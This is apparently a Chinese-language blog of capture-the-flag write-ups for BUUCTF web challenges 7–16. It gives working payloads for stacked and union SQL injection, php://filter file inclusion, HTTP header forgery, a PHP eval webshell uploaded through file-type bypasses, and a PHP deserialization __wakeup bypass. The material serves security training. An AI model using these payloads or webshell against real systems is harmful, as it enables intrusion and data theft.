Buuctf-Web(7-16)

7[SUCTF 2019]EasySQL

easy sql不ez

[BUUCTF:SUCTF 2019]EasySQL-CSDN博客

[buuctf-SUCTF 2019]EasySQL 1(小宇特详解)-CSDN博客

输入1有回显,很多符号都被过滤

image-20240521083645547

堆叠注入

sql注入之堆叠注入 - 知乎 (zhihu.com)

在SQL中,分号(;)是用来表示一条sql语句的结束。试想一下我们在 ; 结束一个sql语句后继续构造下一条语句,会不会一起执行?因此这个想法也就造就了堆叠注入。而union injection(联合注入)也是将两条语句合并在一起,两者之间有什么区别么?区别就在于union 或者union all执行的语句类型是有限的,可以用来执行查询语句,而堆叠注入可以执行的是任意的语句。

查库名

1; show databases;

查表名

1;use ctf;show tables;

查列名

1;show columns from Flag;

访问不到flag

sqlmap跑一遍能发现注入语句

$sql = "select ".$post['query']."||flag from Flag";

payload:

*,1

8[强网杯 2019]随便注

又是sql😭

发现是单引号闭合

image-20240521085437525

输入1和2均有回显,3时错误,猜测字段为2(或者order by 语句查询也是一样的效果)

联合注入的时候回显过滤信息

return preg_match("/select|update|delete|drop|insert|where|\./i",$inject);

堆叠注入

先通过show databases爆出数据库

0'; show databases; #

image-20240521090159693

然后用 show tables 尝试爆表。

0'; show tables; #

image-20240521090231257

可以看到这里有两个表,我们先尝试爆words表的内容。

1'; show columns from words; #

image-20240521090304799

然后报表 1919810931114514 的内容。

表名为数字时,要用反引号包起来查询。

0'; show columns from `1919810931114514`; #

image-20240521090541294

爆出了flag字段

然后看佬的三种解法,自己去悟吧,我看不懂😭

[BUUCTF强网杯 2019]随便注 的三种解法-CSDN博客

通过 rename 先把 words 表改名为其他的表名。
把 1919810931114514 表的名字改为 words 。
给新 words 表添加新的列名 id 。
将 flag 改名为 data 。

payload:

1'; rename table words to word1; rename table `1919810931114514` to words;alter table words add id int unsigned not Null auto_increment primary key; alter table words change flag data varchar(100);#

image-20240521091730369

payload有问题

不要直接copy到题目,不然你就会这样

现在的payload是对的

image-20240521095109018

9[极客大挑战 2019]Secret File

伪协议、文件包含

看源码

image-20240521092033894

访问/Archive_room.php

image-20240521092131958

直接点按钮不对

再看源码

image-20240521092259565

点链接,同样是这个

image-20240521092514666

且提示我们没看清么?猜测中间应该发生了跳转,我们抓包验证一下

image-20240521094212677

成功找到secr3t.php

image-20240521094747090

是文件包含的绕过,过滤了以下内容

  1. ../
  2. 大小写tp
  3. 大小写input
  4. 大小写data

这个过滤还是挺容易绕过的,php://filter直接读取flag.php:

?file=php://filter/read=convert.base64-encode/resource=flag.php

PCFET0NUWVBFIGh0bWw+Cgo8aHRtbD4KCiAgICA8aGVhZD4KICAgICAgICA8bWV0YSBjaGFyc2V0PSJ1dGYtOCI+CiAgICAgICAgPHRpdGxlPkZMQUc8L3RpdGxlPgogICAgPC9oZWFkPgoKICAgIDxib2R5IHN0eWxlPSJiYWNrZ3JvdW5kLWNvbG9yOmJsYWNrOyI+PGJyPjxicj48YnI+PGJyPjxicj48YnI+CiAgICAgICAgCiAgICAgICAgPGgxIHN0eWxlPSJmb250LWZhbWlseTp2ZXJkYW5hO2NvbG9yOnJlZDt0ZXh0LWFsaWduOmNlbnRlcjsiPuWViuWTiO+8geS9oOaJvuWIsOaIkeS6hu+8geWPr+aYr+S9oOeci+S4jeWIsOaIkVFBUX5+fjwvaDE+PGJyPjxicj48YnI+CiAgICAgICAgCiAgICAgICAgPHAgc3R5bGU9ImZvbnQtZmFtaWx5OmFyaWFsO2NvbG9yOnJlZDtmb250LXNpemU6MjBweDt0ZXh0LWFsaWduOmNlbnRlcjsiPgogICAgICAgICAgICA8P3BocAogICAgICAgICAgICAgICAgZWNobyAi5oiR5bCx5Zyo6L+Z6YeMIjsKICAgICAgICAgICAgICAgICRmbGFnID0gJ2ZsYWd7OTI2NWQyMmItYjNlZS00OTllLWE1NzMtN2RlZDVkNDllZWU0fSc7CiAgICAgICAgICAgICAgICAkc2VjcmV0ID0gJ2ppQW5nX0x1eXVhbl93NG50c19hX2cxcklmcmkzbmQnCiAgICAgICAgICAgID8+CiAgICAgICAgPC9wPgogICAgPC9ib2R5PgoKPC9odG1sPgo=

解码flag{9265d22b-b3ee-499e-a573-7ded5d49eee4}

10[极客大挑战 2019]Http

http头

是一个宣传页面,也没有什么功能点,看看源码

image-20240521095511342

找到一个文件,访问试试

image-20240521095624786

提示我们要来自特定来源It doesn't come from 'https://Sycsecret.buuoj.cn

抓包改http头的referer 字段

image-20240521100437873

提示,需要使用"Syclover" browser浏览器。

在http请求头中,通过修改User-Agent参数值为"Syclover" browser来伪造请求源所使用浏览器。

image-20240521100540474

提示,你只能够在本地读取这个文件!!!

这是限制了文件访问的源地址,可用通过X-Forwarded-For参数来伪造访问的源地址,这里可以修改为127.0.0.1或localhost

image-20240521100641134

11[极客大挑战 2019]Knife

image-20240522223654200

打开蚁剑连接,密码Syc

image-20240522225610998

外面找到根目录下的flag文件即可

image-20240522225647232

12[极客大挑战 2019]LoveSQL

通用语句:

利用 union select 联合查询,将id值设置成不成立,即可探测到可利用的字段数payload是插入到原来的语句当中,构成了两个sql的语句,当第一个sql语句正确返回时,便不会显示第二个sql语句的结果。

?id=-1 union select 1,2,3 --+

利用函数database(),user(),version()可以得到所探测数据库的数据库名、用户名和版本号

?id=-1' union select 1,database(),version() --+

利用 union select 联合查询,获取表名

?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='已知库名'--+

利用 union select 联合查询,获取字段名

?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='已知库名' and table_name='已知表名'--+

利用 union select 联合查询,获取字段值

?id=-1' union select 1,2,group_concat(已知字段名,':'已知字段名) from 已知表名--+

image-20240522225805225

哈哈哈好咱不用

image-20240522225830225

万能密码:这里账号填1' or 1=1#,密码随便写。(密码框填写万能密码,账号随便填写也是一样的,意思是两个框都有注入点)

image-20240522233841691

image-20240523103831441

登录成功,观察url,跳转到了check.php页面。并得到了用户名和密码,尝试对密码解密,失败了,那就继续注入。(以账号框为注入点)

查询字段数

1' order by 3#
1
1' order by 4#
1

第二条语句报错说明存在3个字段

判断回显点(url中#为%23)

/check.php?username=1' union select 1,2,3%23&password=1

两个回显点

image-20240523122206058

爆数据库名geek

/check.php?username=1' union select 1,2,database()%23&password=1

爆列名

/check.php?username=1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()%23&password=1
/check.php?username=1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='geek'%23&password=1

image-20240523122844762

爆表名(两个字段爆表的结果相同)

/check.php?username=1' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='l0ve1ysq1'%23&password=1
/check.php?username=1' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='geekuser'%23&password=1

image-20240523123032308

爆数据

/check.php?username=1' union select 1,2,group_concat(id,username,password) from l0ve1ysq1%23&password=1

flag{ac03843b-210d-4d9a-9197-d1e923a60a20}

13[极客大挑战 2019]Upload

image-20240523104717250

从页面上来看是上传一个图片文件,但是不知道是怎样检查的,要先试一试
一般可以检查的地方有:
后缀名、content-type、文件头的部分内容
先上传一个php,不做任何修改

image-20240523140918262

将content-type改为image/jpeg,放包发现对php后缀名进行检测

image-20240523105906419

绕过后缀的有文件格式有php,php3,php4,php5,phtml.pht

接下来试一下phtml+修改content-type
phtml一般是指嵌入了php代码的html文件,但是同样也会作为php解析

image-20240523141019065

检查文件头了,加上GIF89a

image-20240523105932899

从提示中可见其检测出一些字符

我们修改一句话木马

php一句话木马变形技巧-CSDN博客

GIF89a? <script language="php">eval($_REQUEST[1])</script>

上传成功

image-20240523141238167

猜测路径

image-20240523142510756

image-20240523142554684

14[ACTF2020 新生赛]Upload

image-20240523143647772

我们上传一个图片马,将后缀改为php

image-20240523144259205

那我们把php改为phtml,上传成功

image-20240523144423242

蚁剑连接即可

flag{05803029-3132-4678-80c5-5be158f759ea}

15[极客大挑战 2019]PHP

备份网站

逗猫啦😋

image-20240523144802980

提示我们备份了网站

常见的网站源码备份文件后缀:
tar.gz,zip,rar,tar
常见的网站源码备份文件名:
web,website,backup,back,www,wwwroot,temp

有3个php文件

index.php包含class.php,并且文件是get 传参,参数为 select

image-20240523150050372

class.php包含 flag.php

image-20240523150011854

反推:32打印flag-->username=admin,password=100

流程:

设置两个私有变量 ,利用 __construct 构造函数 来进行一个一一对应的关系

之后__wakeup() 让 username 变量等于 guest

在类结束的时候,调用__desctruct()函数 ,如果这个 password不等于100 ,就会输出 然后退出函数。如果 username= admin 就会输出 flag 否则 失败。

在本题的关键,就是username的赋值 因为 __wakeup 会对userneme进行一次赋值,所以我们要想办法绕过该函数, 并且在一开始我们要改变 username和password的赋值

<?php

class Name{
    private $username = 'admin';
    private $password = '100';
}

$a=new Name();
echo serialize($a);   

?>

image-20240523151941287

我们要将我们要将口变为 %00 若果不写 在我们复制的时候就会减少空格

O:4:"Name":2:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";s:3:"100";}
													       |

如果序列化字符串中表示对象属性个数的值大于真实的属性个数时,wakeup()的执行会被跳过。

O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";s:3:"100";}

image-20240523152052427

16[ACTF2020 新生赛]BackupFile

备份文件

image-20240523152245174

out source 外部编译文件

题目提示是备份文件

常见的网站源码备份文件后缀:
tar.gz,zip,rar,tar
常见的网站源码备份文件名:
web,website,backup,back,www,wwwroot,temp

或者dirsearch扫

这里我就不卖关子了,文件路径:/index.php.bak

访问得到文件

<?php
include_once "flag.php";

if(isset($_GET['key'])) {
    $key = $_GET['key'];
    if(!is_numeric($key)) {
    //is_numeric()函数用于检测变量是否为数字或数字字符串。如果指定的变量是数字和数字字符串则返回 TRUE,否则返回 FALSE,注意浮点型返回 1,即 TRUE。
        exit("Just num!");  //输出一条消息,并退出当前脚本:
    }
    $key = intval($key);
    //intval() 函数用于获取变量的整数值。通过使用指定的进制转换(默认是十进制),返回变量的数值。
    $str = "123ffwsfwefwf24r2f32ir23jrw923rskfjwtsw54w3";
    if($key == $str) {//弱比较
        echo $flag;
    }
}
else {
    echo "Try to find out source file!";
}

is_numeric() PHP is_numeric() 函数 | 菜鸟教程 (runoob.com)

exit()PHP exit() 函数 | 菜鸟教程 (runoob.com)

intval()PHP intval() 函数 | 菜鸟教程 (runoob.com)

PHP弱比较:

在PHP中:
= = 为弱相等,即当整数和字符串类型相比较时。会先将字符串转化为整数然后再进行比较。比如a=123和b=123admin456进行= =比较时。则b只会截取前面的整数部分。即b转化成123。
所以,这里的a = = b是返回True。
所以这里我们只需要提供一个参数?key=123就可以拿到flag了

image-20240523154007978

posted @ 2024-06-04 13:12  machacha  阅读(19)  评论(0编辑  收藏  举报